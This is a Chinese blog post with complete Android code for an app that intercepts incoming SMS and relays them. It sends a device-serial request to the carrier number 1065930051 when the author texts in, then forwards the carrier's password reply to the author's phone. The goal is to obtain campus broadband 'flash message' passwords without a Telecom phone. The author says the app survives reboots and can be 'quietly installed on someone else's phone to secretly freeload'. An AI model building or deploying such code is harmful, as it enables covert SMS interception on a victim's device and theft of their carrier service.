標籤:
開啟SMS_1017.exe,輸入手機串號,手機串號可以在手機主介面輸入*#06#會告訴你的,是MEID 下面的,然後它會告訴你要發的簡訊“MM|..........",然後發到1065930051就好了。
我的思路是用android手機的監聽器機制,接收到自己的“移動”手機號碼,就向1065930051傳送簡訊“MM|..........";監聽到1065930051的電信手機,就向自己的“移動”手機號碼發送1065930051的簡訊內容。
如下是我的實現代碼:
我用了監聽器模式,也就是說只要安裝了軟體就可以回複簡訊,再也不用擔心手機把軟體進程結束掉了(手機重啟以後也不需要開啟軟體,照樣可以正常工作)。當然也可以悄悄裝在別人手機上,偷偷蹭網,怎麼用我不負責。
//SMSReceiver.javapackage smsbc.jason.nbu;import android.app.PendingIntent;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.gsm.SmsMessage;import android.telephony.gsm.SmsManager;import android.widget.Toast;public class SMSReceiver extends BroadcastReceiver{ public SMSReceiver(){ System.out.println("SMSReceiver"); } @Override public void onReceive(Context context, Intent intent) { // 判斷接收到的廣播是否為收到簡訊的Broadcast Action if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) { System.out.println("receive message"); Bundle bundle = intent.getExtras(); Object myOBJpdus[] = (Object[])bundle.get("pdus"); SmsMessage message[] = new SmsMessage[myOBJpdus.length]; System.out.println("訊息條數:" + message.length); for (int i = 0; i < myOBJpdus.length; i++) { message[i] = SmsMessage.createFromPdu((byte[]) myOBJpdus[i]); String address = message[i].getDisplayOriginatingAddress(); String body = message[i].getDisplayMessageBody(); System.out.println(address); System.out.println(body); if (address.equals("159****2540")) { System.out.println("111: 來信地址為159****2540,已向1065930051傳送簡訊。"); String CTaddress = "1065930051"; String CTbody = "MM|0000000000000000";//計算得到的串號 SmsManager smsManager = SmsManager.getDefault(); PendingIntent mPI = PendingIntent.getBroadcast(context, 0, new Intent(), 0); smsManager.sendTextMessage(CTaddress, null, CTbody, mPI, null); System.out.println("來信地址為159****2540,已向1065930051傳送簡訊。"); } if (address.equals("1065930051")) { System.out.println("111: 來信地址為1065930051,已向159****2540傳送簡訊。"); String MYaddress = "159****2540"; SmsManager smsManager = SmsManager.getDefault(); PendingIntent mPI = PendingIntent.getBroadcast(context, 0, new Intent(), 0); smsManager.sendTextMessage(MYaddress, null, body, mPI, null); System.out.println("來信地址為1065930051,已向159****2540傳送簡訊。"); } Toast.makeText(context, "簡訊發送完成", Toast.LENGTH_LONG).show(); } } }}
//SmsBroadcastActivity.javapackage smsbc.jason.nbu;import smsbc.jason.nbu.SMSReceiver;import android.app.Activity;import android.os.Bundle; public class SmsBroadcastActivity extends Activity { /** Called when the activity is first created. */private SMSReceiver smsReceiver = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); smsReceiver = new SMSReceiver();//啟動完,可以直接關掉 }}
//AndroidManifest.xml<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="smsbc.jason.nbu" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="10" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:name=".SmsBroadcastActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSReceiver" android:process=":remote" > <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> <!-- <action android:name="android.intent.action.BOOT_COMPLETED"> --> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.READ_SMS" /><uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_SMS"/></manifest>
非電信手機擷取閃訊密碼的一種實現方法